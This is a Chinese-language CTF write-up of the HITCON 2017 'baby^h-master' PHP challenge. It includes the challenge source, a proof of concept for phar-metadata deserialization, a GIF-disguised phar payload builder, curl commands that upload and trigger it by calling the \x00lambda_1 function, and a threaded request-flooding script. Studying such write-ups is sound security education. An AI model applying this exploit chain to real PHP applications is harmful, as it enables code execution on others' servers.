HITCON…

0x01 baby^h-master

源码:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
<?php
$FLAG = create_function("", 'die(`/read_flag`);');
$SECRET = `/read_secret`;
$SANDBOX = "/var/www/data/" . md5("orange" . $_SERVER["REMOTE_ADDR"]);
@mkdir($SANDBOX);
@chdir($SANDBOX);
if (!isset($_COOKIE["session-data"])) {
$data = serialize(new User($SANDBOX));
$hmac = hash_hmac("sha1", $data, $SECRET);
setcookie("session-data", sprintf("%s-----%s", $data, $hmac));
}
class User {
public $avatar;
function __construct($path) {
$this->avatar = $path;
}
}
class Admin extends User {
function __destruct(){
$random = bin2hex(openssl_random_pseudo_bytes(32));
eval("function my_function_$random() {"
." global \$FLAG; \$FLAG();"
."}");
$_GET["lucky"]();
}
}
function check_session() {
global $SECRET;
$data = $_COOKIE["session-data"];
list($data, $hmac) = explode("-----", $data, 2);
if (!isset($data, $hmac) || !is_string($data) || !is_string($hmac))
die("Bye");
if ( !hash_equals(hash_hmac("sha1", $data, $SECRET), $hmac) )
die("Bye Bye");
$data = unserialize($data);
if ( !isset($data->avatar) )
die("Bye Bye Bye");
return $data->avatar;
}
function upload($path) {
$data = file_get_contents($_GET["url"] . "/avatar.gif");
if (substr($data, 0, 6) !== "GIF89a")
die("Fuck off");
file_put_contents($path . "/avatar.gif", $data);
die("Upload OK");
}
function show($path) {
if ( !file_exists($path . "/avatar.gif") )
$path = "/var/www/html";
header("Content-Type: image/gif");
die(file_get_contents($path . "/avatar.gif"));
}
$mode = $_GET["m"];
if ($mode == "upload")
upload(check_session());
else if ($mode == "show")
show(check_session());
else
highlight_file(__FILE__);

从上面可以明白的看出需要获取flag就需要通过反序列化admin类来触发__destruct来完成.
这里有一个方法就是通过设置session-data的数据,但是这个地方是一个hash_hmac,没办法绕过.
所以问题就回到了如何构造一个反序列.

0day

php在解析phar对象时,会对metadata数据进行反序列化.
其实在Phar::getMetadata已经给出说明.

这句话的含义中透露出了Phar::setMetadata操作是会将数据进行序列化的.

在这里有一段测试代码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
<?php

if(count($argv) > 1) {
@readfile("phar://./deser.phar");
exit;
}

class Hui {
function __destruct() {
echo "PWN\n";
}
}

@unlink('deser.phar');
try {
$p = new Phar(dirname(__FILE__) . '/deser.phar', 0);
$p['file.txt'] = 'test';
$p->setMetadata(new Hui());
$p->setStub('<?php __HALT_COMPILER(); ?>');
} catch (Exception $e) {
echo 'Could not create and/or modify phar:', $e;
}

?>

关于phar

pharphp5.3.0之后被内置成了组件,在5.2.05.3.0之间的版本就可以使用PECL扩展.
phar用来将php多个文件打包成一个文件.

1
2
3
4
5
6
7
8
9
$p['file.txt'] = 'test';
创建一个file.txt,并且将test写入file.txt中.写入的内容还可以是一个文件指针;
详情请看http://php.net/manual/en/phar.using.object.php.

$p->setMetadata(new Hui());
向归档中写入meta-data,这个函数需要在php.ini中修改phar.readonly为Off,否则的话会抛出一个PharException异常.

$p->setStub('<?php __HALT_COMPILER(); ?>');
设置归档文件的php加载程序

php中解析phar中的反序列化操作

上面测试代码的结果如下:

那么这道题的思路就是通过上传一个phar文件,之后使用phar解析,反序列化之后从而进入Admin类中的__destruct方法.

avatar.gif的poc

1
2
3
4
5
6
7
8
9
10
<?php
class Admin {
public $avatar = 'orz';
}
$p = new Phar(__DIR__ . '/avatar.phar', 0);
$p['file.php'] = 'idlefire';
$p->setMetadata(new Admin());
$p->setStub('GIF89a<?php __HALT_COMPILER(); ?>');
rename(__DIR__ . '/avatar.phar', __DIR__ . '/avatar.gif');
?>

将生成好的avatar.gif上传.之后会出去另一个难点.

1
$FLAG = create_function("", 'die(`/read_flag`);');

虽然已经知道如何进入Admin类中,但是$FLAG是通过create_function创建的,并且是没有函数名的.
但其实这个匿名函数是有名字的,格式是\x00lambda_%d.
zend_builtin_functions.c

1
2
3
4
5
6
7
8
    do {
ZSTR_LEN(function_name) = snprintf(ZSTR_VAL(function_name) + 1, sizeof("lambda_")+MAX_LENGTH_OF_LONG, "lambda_%d", ++EG(lambda_count)) + 1;
} while (zend_hash_add_ptr(EG(function_table), function_name, func) == NULL);
RETURN_NEW_STR(function_name);
} else {
zend_hash_str_del(EG(function_table), LAMBDA_TEMP_FUNCNAME, sizeof(LAMBDA_TEMP_FUNCNAME)-1);
RETURN_FALSE;
}

做一个简单的测试

1
2
3
<?php
create_function("", 'echo __FUNCTION__;');
call_user_func("\x00lambda_1", 1);

其中的%d会从1一直进行递增,表示这是当前进程中第几个匿名函数.因此如果开启一个新的php进程,那么这个匿名函数就是\x00lambda_1,所以思路就是通过向Pre-fork模式的apache服务器发送大量请求,致使apache开启新的进程来处理请求,那么luck=%00lambda_1就可以执行函数了.

顺序:

1
2
3
4
curl --cookie-jar idlefire 'http://host/baby_master.php'
curl -b idlefire 'http://host/baby_master.php?m=upload&url=http://avatar.gif_host/'
python fork.py
curl -b idlefire 'http://host/baby_master.php?m=upload&url=phar:///var/www/html/e0240bf4f29341c1460ebd3fac968394/&lucky=%00lambda_1'

fork.py

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
# coding: UTF-8
# Author: orange@chroot.org

import requests
import socket
import time
from multiprocessing.dummy import Pool as ThreadPool
try:
requests.packages.urllib3.disable_warnings()
except:
pass

def run(i):
while 1:
HOST = 'x.x.x.x'
PORT = 80
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect((HOST, PORT))
s.sendall('GET / HTTP/1.1\nHost: 192.168.59.137\nConnection: Keep-Alive\n\n')
# s.close()
print 'ok'
time.sleep(0.5)

i = 8
pool = ThreadPool( i )
result = pool.map_async( run, range(i) ).get(0xffff)

结果:

这里由于复现测试的时候并没有那么多的请求,所以也就没有向apache发送大量的请求,直接获取了结果,但是如果使用fork.py对apache进行请求时,会发现apache开启一个新的进程.

0x02

官方wp
参考资料

(ง •_•)ง
2017-12-12 15:14:30 星期二